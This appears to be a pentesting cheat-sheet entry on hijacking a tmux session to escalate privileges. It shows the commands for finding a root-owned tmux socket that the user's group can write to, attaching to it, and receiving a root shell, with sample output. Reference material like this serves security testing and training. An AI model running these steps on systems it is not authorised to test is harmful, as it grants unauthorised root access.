Hijack TMUX session
Require a read access to the tmux socket : /tmp/tmux-1000/default.
export TMUX=/tmp/tmux-1000/default,1234,0
tmux ls
Check for process…
user@box:/# ps -u root
/usr/bin/tmux -S /.devs/dev_sess
Check we can read/write…
user@box:/# ls -la /.devs/dev_sess
srw-rw---- 1 root usergroup
Now do the same command you see running in your user terminal that has group membership allowing rw to attach to the session…
user@box:/# tmux -S /.devs/dev_sess
root@box:/# id
uid=0(root) gid=0(root) groups=0(root)
Last updated